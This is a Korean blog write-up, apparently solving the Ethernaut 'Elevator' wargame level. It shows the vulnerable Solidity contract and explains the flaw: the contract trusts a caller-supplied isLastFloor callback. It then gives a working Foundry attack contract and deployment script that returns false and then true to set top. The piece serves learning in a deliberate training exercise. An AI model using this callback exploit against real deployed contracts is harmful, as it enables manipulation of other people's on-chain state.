Web3/The Ethernaut

[The Ethernaut] Elevator

프레딕 2025. 1. 28. 01:56
728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

저 top을 True로 바꾸면 된다.

그러나 goTo함수를 보면은 building.isLastFloor를 호출하는데 만약 이 함수가 True라고 하자, 그러면 False로 if문을 빠져나가서 안되고 False라고 해도 그다음 top = building.isLastFloor(floor)에서 False를 내뱉어 안될것이다.

 

여기서 볼 것은 Building을 msg.sender로 생성한다는 것이다.

즉, 우리가 isLastFloor을 마음대로 선언할 수 있다.

 

그러면 단순하게 처음 요청왔을때 False를 리턴하게 하고 두번째 왔을때 True를 리턴하게 하면 된다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/Elevator.sol";

contract Attack is Building{
    uint256 public trying;
    Elevator target;

    constructor(Elevator _target){
        trying = 0;
        target = _target;
    }

    function goTo() external{
        target.goTo(0);
    }

    function isLastFloor(uint256 _floor) external returns (bool) {
        trying+=1;
        console.log(trying);
        if(trying==2){
            return true;
        }
        else{
            return false;
        }
    }
}

contract ElevatorSolve is Script {
    Elevator target = Elevator(payable(0x8bB4eFf1bdEbEe8fd45BaB245dE2929366621F01));

    function run() external{
        vm.startBroadcast(vm.envUint("user_private_key"));
        Attack attackContract = new Attack(target);
        attackContract.goTo();
        vm.stopBroadcast();
    }
}

 

ezpz

728x90
반응형